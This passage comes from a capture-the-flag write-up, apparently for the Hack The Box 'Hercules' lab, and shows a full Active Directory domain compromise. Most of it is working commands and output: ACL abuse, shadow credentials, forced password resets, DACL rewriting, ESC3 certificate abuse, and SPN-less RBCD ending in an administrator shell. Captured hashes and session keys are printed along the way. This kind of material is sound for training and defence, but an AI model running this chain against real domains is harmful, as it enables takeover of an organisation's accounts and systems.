1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1889966460-2597381952-958560702-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1889966460-2597381952-958560702-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-1889966460-2597381952-958560702-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: Stephen Miller
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=hercules,DC=htb
objectClass: top; person; organizationalPerson; user
objectGUID: 6c1477c0-dbeb-4bec-8bfb-a46de2c42beb
objectSid: S-1-5-21-1889966460-2597381952-958560702-1131
primaryGroupID: 513
pwdLastSet: 2024-12-04 01:44:45.925788+00:00
sAMAccountName: stephen.m
sAMAccountType: 805306368
sn: Miller
telephoneNumber: +61 434-166-765
uSNChanged: 126219
uSNCreated: 13086
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: [email protected]
whenChanged: 2025-10-21 04:34:12+00:00
whenCreated: 2024-12-04 01:44:45+00:00As we noticed the SID of Recruitment Managers is S-1-5-21-1889966460-2597381952-958560702-1106. That exact SID appears twice in Stephen's nTSecurityDescriptor:
(OA;CIID;WP;bf967a0e-0de6-11d0-a285-00aa003049e2;;S-1-5-21-...-1106)
(OA;CIID;WP;bf96793f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-...-1106)Both are object-specific ACEs (OA, reason why BloodHound failed to parse) granting WP = Write Property:
| GUID | Attribute | Meaning |
|---|---|---|
| bf967a0e-0de6-11d0-a285-00aa003049e2 | name | the RDN / CN |
| bf96793f-0de6-11d0-a285-00aa003049e2 | distinguishedName | the parent container reference |
So → Recruitment Managers can write both name and distinguishedName attributes on Stephen Miller.
That's extremely telling:
- Changing
namelets us rename the CN. - Changing
distinguishedNamelets us re-parent the object → move it to another OU.
Write DN
With WriteProperty over stephen.m as bob.w, we can rewrite his distinguishedName:
CN=Stephen Miller,OU=Security Department → CN=Stephen Miller,OU=Web DepartmentEffectively, we're “recruiting” stephen.m into the Web Department — an OU fully controlled by natalie.a.
Use ldapmodify to modify the LDAP database directly:
cat > mov.ldif <<'EOF'
dn: CN=Stephen Miller,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
changetype: modrdn
newrdn: CN=Stephen Miller
deleteoldrdn: 1
newsuperior: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
EOF
KRB5CCNAME=bob.w.ccache ldapmodify \
-H ldap://dc.hercules.htb -Y GSSAPI -f mov.ldifConfirm new DN:
ldapsearch -H ldap://dc.hercules.htb -Y GSSAPI -LLL \
-b "DC=hercules,DC=htb" "(sAMAccountName=stephen.m)" dn
Shadow Credentials 2
Now that stephen.m lives inside an OU controlled by natalie.a, we can reuse our shadow creds technique:
export KRB5CCNAME=natalie.a.ccache
certipy shadow \
-dc-host DC.HERCULES.HTB \
-u '[email protected]' -k \
-account 'stephen.m' \
-ns $targetIp \
autoResult:
[*] Targeting user 'stephen.m'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'e2eff2486343441d83b7e2740b220ab8'
[*] Adding Key Credential with device ID 'e2eff2486343441d83b7e2740b220ab8' to the Key Credentials for 'stephen.m'
[*] Successfully added Key Credential with device ID 'e2eff2486343441d83b7e2740b220ab8' to the Key Credentials for 'stephen.m'
[*] Authenticating as 'stephen.m' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'stephen.m.ccache'
[*] Wrote credential cache to 'stephen.m.ccache'
[*] Trying to retrieve NT hash for 'stephen.m'
[*] Restoring the old Key Credentials for 'stephen.m'
[*] Successfully restored the old Key Credentials for 'stephen.m'
[*] NT hash for 'stephen.m': 9aaaedcb19e612216a2dac9badb3c210Confirmed: stephen.m is owned.
Testing WinRM:
$ KRB5CCNAME=stephen.m.ccache nxc winrm hercules.htb -u stephen.m --use-kcache
[23:13:32] ERROR Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently winrm.py:62
WINRM-SSL hercules.htb 5986 hercules.htb [*] None (name:hercules.htb) (domain:None) (NTLM:False)No WinRM access yet — but we pivot.
ForceChangePassword
Back in BloodHound, stephen.m (as part of HELPDESK ADMINISTRATORS) was shown to have ForceChangePassword on iis_webserver$ — but the attempt fails.
We investigate further:

Turns out, stephen.m also has password control over another group member: auditor, who is linked to REMOTE MANAGEMENT and FOREST MANAGEMENT:

We go straight for it — hijack auditor by forcing a password change:
$ KRB5CCNAME=stephen.m.ccache bloodyAD \
-H DC.HERCULES.HTB -d HERCULES.HTB \
-u 'stephen.m' -k \
set password \
auditor 'Axura4sure~'
[+] Password changed successfully!Jackpot.
WinRM
From earlier port scans, only port 5986 (WinRM over SSL) was exposed. Historically, evil-winrm has poor support for Kerberos over SSL, so we pivot to evil_winrmexec.py, which handles Kerberos with SSL properly:
# use Kerberos for NTLM is banned
getTGT.py HERCULES.HTB/auditor:'Axura4sure~'
export KRB5CCNAME=auditor.ccache
# winrm
python evil_winrmexec.py -port 5986 -ssl -k 'DC.HERCULES.HTB'
We pop a shell — user flag captured. And the home directories on the target implies us our next targets will be ashley.b and the Administrators.
ROOT
OU Controlling
The user auditor is a member of what appears to be a powerful delegation group: FOREST MANAGEMENT.

After refreshing BloodHound with auditor's access, we see GenericAll rights on the FOREST MITGRATION OU — which includes multiple high-value user objects:

With updated DACLs and ownerships, the BloodHound graph explodes — and new privilege chains appear:

One node of interest: SMARTCARD OPERATORS.
The name suggests privilege — perhaps managing smartcard-based login systems — though it's not a default AD group (
Smart Card Usersis the standard built-in). This may be a custom delegation group, and its naming implies elevated access.
Let's verify:
$ KRB5CCNAME=auditor.ccache bloodyAD \
-H DC.HERCULES.HTB -d HERCULES.HTB \
-u 'auditor' -k \
get object "SMARTCARD OPERATORS"
distinguishedName: CN=Smartcard Operators,OU=Domain Groups,OU=DCHERCULES,DC=hercules,DC=htb
cn: Smartcard Operators
dSCorePropagationData: 2024-12-04 01:45:07+00:00
description: Certification Authority Management
displayName: Smartcard Operators
groupType: -2147483646
instanceType: 4
member: CN=Fernando Rodriguez,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
nTSecurityDescriptor: O:S-1-5-21-1889966460-2597381952-958560702-512G:S-1-5-21-1889966460-2597381952-958560702-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;0xf01ff;;;S-1-5-21-1889966460-2597381952-958560702-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIID;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-1889966460-2597381952-958560702-1112)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1889966460-2597381952-958560702-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1889966460-2597381952-958560702-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-1889966460-2597381952-958560702-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: Smartcard Operators
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=hercules,DC=htb
objectClass: top; group
objectGUID: 95f9badc-bbf1-49f0-a265-c5878f34c775
objectSid: S-1-5-21-1889966460-2597381952-958560702-1109
sAMAccountName: Smartcard Operators
sAMAccountType: 268435456
uSNChanged: 12990
uSNCreated: 12881
whenChanged: 2024-12-04 01:44:43+00:00
whenCreated: 2024-12-04 01:44:31+00:00Again, we observe multiple exploitable nTSecurityDescriptor entries. One group stands out: Certification Authority Management — clearly labeled as High Value. This implies CA-level access, which in many environments translates to full Enterprise Admin compromise via certificate issuance or template abuse.
We don't dive deeper now. First, we chain into fernando.r, a member of this powerful OU. BloodHound confirms our auditor account has GenericAll over the entire FOREST MIGRATION OU.
We hijack control by overwriting the OU DACL — using dacledit.py from Impacket toolkit, as demonstrated in the Certified writeup:
export KRB5CCNAME=auditor.ccache
python dacledit.py \
-k -no-pass -dc-ip $targetIp -dc-host DC.HERCULES.HTB \
'HERCULES.HTB'/'auditor''@DC.HERCULES.HTB' \
-action write \
-principal 'auditor' \
-rights FullControl \
-inheritance \
-target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb'Use the latest version of dacledit.py which includes -dc-host:

We enumerate fernando.r — and find it's currently disabled:
PS C:\temp> Get-ADUser -Identity "Fernando.r"
DistinguishedName : CN=Fernando Rodriguez,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
Enabled : False
GivenName : Fernando
Name : Fernando Rodriguez
ObjectClass : user
ObjectGUID : 80ea16f3-f1e3-4197-9537-e756c2d1ebb0
SamAccountName : fernando.r
SID : S-1-5-21-1889966460-2597381952-958560702-1121
Surname : Rodriguez
UserPrincipalName : [email protected]We re-enable the account and reset its password — all from within our auditor shell:
Enable-ADAccount -Identity "fernando.r"
Set-ADAccountPassword -Identity 'fernando.r' -Reset -NewPassword (ConvertTo-SecureString 'Axura4sure~' -AsPlainText -Force)Move fast — a cleanup script may revert this change within minutes.
Confirmation:

With the account re-enabled and compromised, we grab a valid TGT:
getTGT.py HERCULES.HTB/'fernando.r':'Axura4sure~'
export KRB5CCNAME=fernando.r.ccachefernando.r is now fully compromised and ticketed — ready to pivot deeper, particularly toward CA control
ESC3
Vuln Entry
Using bloodyAD, we identify that the group SMARTCARD OPERATORS, where fernando.r is a member, is labeled under Certification Authority Management — another strong indicator of access to certificate issuance privileges.
We proceed to enumerate available and vulnerable certificate templates using certipy find:
KRB5CCNAME=fernando.r.ccache certipy find \
-enable -vulnerable \
-dc-ip $targetIp -target 'dc.hercules.htb' \
-u '[email protected]' \
-k -no-pass Outputs:
{
"Certificate Authorities": {
"0": {
"CA Name": "CA-HERCULES",
"DNS Name": "dc.hercules.htb",
"Certificate Subject": "CN=CA-HERCULES, DC=hercules, DC=htb",
"Certificate Serial Number": "1DD5F287C078F9924ED52E93ADFA1CCB",
"Certificate Validity Start": "2024-12-04 01:34:17+00:00",
"Certificate Validity End": "2034-12-04 01:44:17+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "HERCULES.HTB\\Administrators",
"Access Rights": {
"1": [
"HERCULES.HTB\\Administrators",
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
],
"2": [
"HERCULES.HTB\\Administrators",
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
],
"512": [
"HERCULES.HTB\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "MachineEnrollmentAgent",
"Display Name": "Enrollment Agent (Computer)",
"Certificate Authorities": [
"CA-HERCULES"
],
"Enabled": true,
"Client Authentication": false,
"Enrollment Agent": true,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
134217728,
268435456
],
"Enrollment Flag": [
32
],
"Extended Key Usage": [
"Certificate Request Agent"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 1,
"Validity Period": "2 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2024-12-04 01:44:26+00:00",
"Template Last Modified": "2024-12-04 01:44:51+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"HERCULES.HTB\\Smartcard Operators",
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "HERCULES.HTB\\Enterprise Admins",
"Full Control Principals": [
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"HERCULES.HTB\\Domain Admins",
"HERCULES.HTB\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"HERCULES.HTB\\Smartcard Operators"
],
"[!] Vulnerabilities": {
"ESC3": "Template has Certificate Request Agent EKU set."
}
},
...As Smartcard Operators, we can enroll this ESC3 vulnerable template:
- CA:
CA-HERCULESondc.hercules.htb. Web enrollment disabled → we must use RPC/DCOM, which is fine. - Template:
MachineEnrollmentAgent(display: Enrollment Agent (Computer))- EKU:
Certificate Request Agent— PWN - Enabled: true — PWN
- Enrollment rights include:
HERCULES.HTB\Smartcard Operators— PWN
- EKU:
ESC3 (Enrollment Agent abuse) means we can obtain an Enrollment Agent (EA) certificate — or enroll for one because a template is misconfigured — can request certificates on behalf of other users. If those issued certs are usable for authentication (Client Auth / Smart Card Logon / PKINIT), the attacker can authenticate as the target user (including high-priv accounts) without knowing their password.
Probing
We pivot into a textbook ESC3 attack path — abusing any enrollable templates, e.g., the EnrollmentAgent or User, to impersonate other users via certificate issuance.
The typical workflow:
# 1) get EA cert (agent.pfx), via any enrollable cert
certipy req \
-u 'fernando.r' -k -no-pass \
-dc-ip $targetIp -target 'dc.hercules.htb' \
-ca 'CA-HERCULES' \
-template 'EnrollmentAgent'
# 2) use EA cert to request cert for victim, but ONLY via RPC/DCOM in our case
certipy req \
-u 'fernando.r' -k -no-pass \
-dc-ip $targetIp -target 'dc.hercules.htb' \
-ca 'CA-HERCULES' \
-template 'EnrollmentAgent' \
-pfx 'fernando.r.pfx' \
-on-behalf-of 'hercules\administrator' \
-dcom
# 3) convert victim cert into a TGT
certipy auth -pfx 'administrator.pfx' -dc-ip $targetIpExecution failed on Step 2 — remote enrollment on behalf of Administrator got smacked down. We're not a certificate manager, and the target's privilege level blocks this RPC operation:

This ESC3 primitive denies for high-privilege users like Administrator or even iis_administrator.
Alternate Target
The box is whispering. We saw ashley.b listed under C:\Users, but never touched her — not yet.
She's not a privileged user, but we would definitely be interested in someone who can access a whole home directory for enumeration. That's our sweet spot for ESC3 abuse. Let's reroute and go for the impersonation:
# 1) get EA cert (agent.pfx)
certipy req \
-u 'fernando.r' -k -no-pass \
-dc-ip $targetIp -target 'dc.hercules.htb' \
-ca 'CA-HERCULES' \
-template 'EnrollmentAgent'
# 2) use EA cert to request cert for victim, but ONLY via RPC/DCOM
certipy req \
-u 'fernando.r' -k -no-pass \
-dc-ip $targetIp -target 'dc.hercules.htb' \
-ca 'CA-HERCULES' \
-template 'User' \
-pfx 'fernando.r.pfx' \
-on-behalf-of 'hercules\ashley.b' \
-dcom
# 3) convert victim cert into a TGT
certipy auth -pfx 'ashley.b.pfx' -dc-ip $targetIpSuccess — no blocks, no errors:

Time to pivot into ashley.b:
export KRB5CCNAME=ashley.b.ccache
python evil_winrmexec.py -port 5986 -ssl -k 'DC.HERCULES.HTB'The shell is ours — but no exploitable priv on the surface:

Exploit Chains
Schedule Task
Under ashley.b's Desktop — no flag. But something stinks — there's a PowerShell script tied to a Scheduled Task named Password Cleanup:

We pull the full task config:
PS C:\Users\ashley.b\desktop> $t = Get-ScheduledTask -TaskName 'Password Cleanup'
PS C:\Users\ashley.b\desktop> $t | Format-List TaskName,State,TaskPath
TaskName : Password Cleanup
State : Ready
TaskPath : \
PS C:\Users\ashley.b\desktop> $t.Actions | Format-List
Id :
Arguments : -File "C:\Users\Administrator\AppData\Local\Windows\Password Cleanup.ps1"
Execute : powershell.exe
WorkingDirectory :
PSComputerName :
PS C:\Users\ashley.b\desktop> $t.Triggers | Format-List
PS C:\Users\ashley.b\desktop> $t.Principal | Format-List UserId,LogonType,RunLevel
UserId : SYSTEM
LogonType : ServiceAccount
RunLevel : Limited
PS C:\Users\ashley.b\desktop> Get-ScheduledTaskInfo -TaskName 'Password Cleanup' | Format-List *
LastRunTime : 11/30/1999 12:00:00 AM
LastTaskResult : 267011
NextRunTime :
NumberOfMissedRuns : 0
TaskName : Password Cleanup
TaskPath :
PSComputerName :
CimClass : Root/Microsoft/Windows/TaskScheduler:MSFT_TaskDynamicInfo
CimInstanceProperties : {LastRunTime, LastTaskResult, NextRunTime, NumberOfMissedRuns...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties
PS C:\Users\ashley.b\desktop> Get-Content "C:\Users\Administrator\AppData\Local\Windows\Password Cleanup.ps1"
Access is deniedThat acleanup.ps1 is just a trigger — the task runs as SYSTEM and it executes a script in Administrator's profile:
powershell.exe -File "C:\Users\Administrator\AppData\Local\Windows\Password Cleanup.ps1"We don't know what it's. Still, Ashley has a local copy. Curious? We execute:
.\aCleanup.ps1After triggering it, user accounts start changing — we see iis_administrator getting reset, disabled, auto-pruned. The script is a purge engine for stale/high-priv accounts. That's our in.
Privesc Path
The BloodHound graph lights up — iis_administrator is a pivot node in the RBCD escalation chain:

Our earlier path failed — HELPDESK ADMINISTRATORS couldn't reset iis_webserver$ because there maybe some other conflicted DACLs block write access via ForceChangePassword.
But the new path is slick:
iis_administratorcanForceChangePasswordoniis_webserver$iis_webserver$hasAllowedToAct(RBCD) on the domain controller
So if we can reset + move iis_administrator, we win.
However, direct manipulation is blocked — its original OU (SERVICE OPERATORS) has protections. Even GenericAll on FOREST MIGRATION OU isn't enough.

So the plan is simple: we reset iis_administrator, then re-add it to the corrupted OU Forest Migration. So that we can compromise it with the fully controller auditor or anyone who owns the same priv.
IIS Administrator
To bypass the recurring cleanup script that keeps disabling iis_administrator, we grant ashley.b the same foothold as auditor.
Specifically, we escalate the entire IT SUPPORT group with GenericAll (FullControl) on the FOREST MIGRATION OU — just like we did with FOREST MANAGEMENT:
export KRB5CCNAME=auditor.ccache
python dacledit.py \
-k -no-pass -dc-ip $targetIp -dc-host DC.HERCULES.HTB \
'HERCULES.HTB'/'auditor''@DC.HERCULES.HTB' \
-action write \
-principal 'IT Support' \
-rights FullControl \
-inheritance \
-target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb'Then trigger the destructive task:
.\aCleanup.ps1It nukes iis_administrator from high-privilege groups.
While the window's still open, we re-enable the account and seize control:
Enable-ADAccount -Identity "CN=iis_administrator,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb" -ErrorAction SilentlyContinue
Set-ADAccountPassword -Identity "iis_administrator" -NewPassword (ConvertTo-SecureString "Axura4sure~" -AsPlainText -Force) -ResetImmediately fetch a fresh TGT before the watchdog wipes it again:
getTGT.py HERCULES.HTB/'iis_administrator':'Axura4sure~' -dc-ip $targetIp
We're now iis_administrator, part of the SERVICE OPERATORS — a high-impact group with privileges ripe for escalation:

From here, we pivot:
iis_administratorhasForceChangePasswordoniis_webserver$iis_webserver$ownsAllowedToActon the domain controller
Final move is in sight.
SPN-less RBCD
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.
For this attack to work, we need to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either:
- a user account having a
ServicePrincipalNameset - an account with a trailing
$in thesAMAccountName(i.e. a computer accounts) - any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication
In our case, we couldn't create machine accounts, and the only machine we control (iis_webserver$) has no SPN set (or we can try to comprise those computer accounts under the controlled FOREST MIGRATION group for a standard RBCD). So we go with the lesser-known yet powerful option 3 — SPN-less RBCD.
iis_webserver$← SPN-lessiis_administrator← hasForceChangePasswordon it- Target: impersonate
Administratorvia U2U → S4U2proxy → PTT
This writeup follows the lesser-known yet powerful SPN-less RBCD path, abusing U2U (User-to-User) authentication with a normal user account.
For more technical details, read Exploiting RBCD using a normal user.
Following is the text-book operations:
S1. SPN-less Account Abuse
First we target for a TGT of the SPN-less user iis_webserver$ who is allowed to delegate to a target (AllowedToAct) and retrieve its TGT session key.
We start by resetting the password of iis_webserver$ using iis_administrator, who holds the ForceChangePassword privilege:
KRB5CCNAME=iis_administrator.ccache bloodyAD \
--host DC.HERCULES.HTB -d HERCULES.HTB \
-u 'iis_administrator' -k \
set password \
'iis_webserver$' 'Axura4sure~'Target password changed. But we cannot use this password to request a usual TGT, which will generate a 64-hex session key as the AES session key in modern Kerberos.
Now, this password will generate a 64-hex session key when used to get a TGT — but we can't use that. For SPN-less delegation, we need a 32-hex NT hash, which is required to be identical as the Ticket Session Key issued by the KDC.
So instead of requesting a TGT using the password, we use the NT hash directly to control the encryption:
C:\> .\Rubeus.exe hash /password:"Axura4sure~"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: Calculate Password Hash(es)
[*] Input password : Axura4sure~
[*] rc4_hmac : D8D3B7846C26CB8B567C2D27C7EAC0F5
[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!Request a TGT with that hash:
getTGT.py \
-hashes ':D8D3B7846C26CB8B567C2D27C7EAC0F5' \
HERCULES.HTB/'iis_webserver$' \
-dc-ip $targetIpExtract the Ticket Session Key (32-hex) using describeTicket.py:
$ describeTicket.py 'iis_webserver$.ccache'
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 5f74b6e81379a9168555f28616f3d298
[*] User Name : iis_webserver$
[*] User Realm : HERCULES.HTB
[*] Service Name : krbtgt/HERCULES.HTB
[*] Service Realm : HERCULES.HTB
[*] Start Time : 21/10/2025 03:32:01 AM
[*] End Time : 21/10/2025 13:32:01 PM
[*] RenewTill : 22/10/2025 03:31:56 AM
[*] Flags : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : wBL3gAGuN0JJtld2TUdnqWUO8iC1lFrdSSdvDohGY1c=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/HERCULES.HTB
[*] Service Realm : HERCULES.HTB
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were suppliedP.S. The Ticket Session Key is the symmetric key Kerberos negotiated for a particular ticket (usually a TGS ticket — the service ticket).
S2. Hijack NT Hash
Set the NT hash = TGT session key, making Kerberos believe any service ticket request is internally valid:
changepasswd.py -newhashes ':5f74b6e81379a9168555f28616f3d298' HERCULES.HTB/'iis_webserver$':'Axura4sure~'@DC.HERCULES.HTB -k
S3. Delegation
With this setup, the SPN-less account iss_webserver$ can obtain a Service Ticket to itself (NT hash == Ticket Session Key), on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
S4U2self + U2U, followed by S4U2proxy:
KRB5CCNAME='iis_webserver$.ccache' getST.py \
-k -no-pass \
-u2u -impersonate "Administrator" \
-spn "cifs/DC.HERCULES.HTB" \
HERCULES.HTB/'iis_webserver$'
The trick here:
- Kerberos allows U2U since our NT hash == session key
- Delegation target accepts the service ticket (SPN-less bypassed)
- We build a valid service ticket for
Administrator
S4. PTT
Finally, we weaponize the ticket with Pass-the-ticket to access the victim Administrator target:
export KRB5CCNAME=Administrator@[email protected]
# winrm
python evil_winrmexec.py -port 5986 -ssl -k 'DC.HERCULES.HTB'Admin shell —

Rooted.
Comments | NOTHING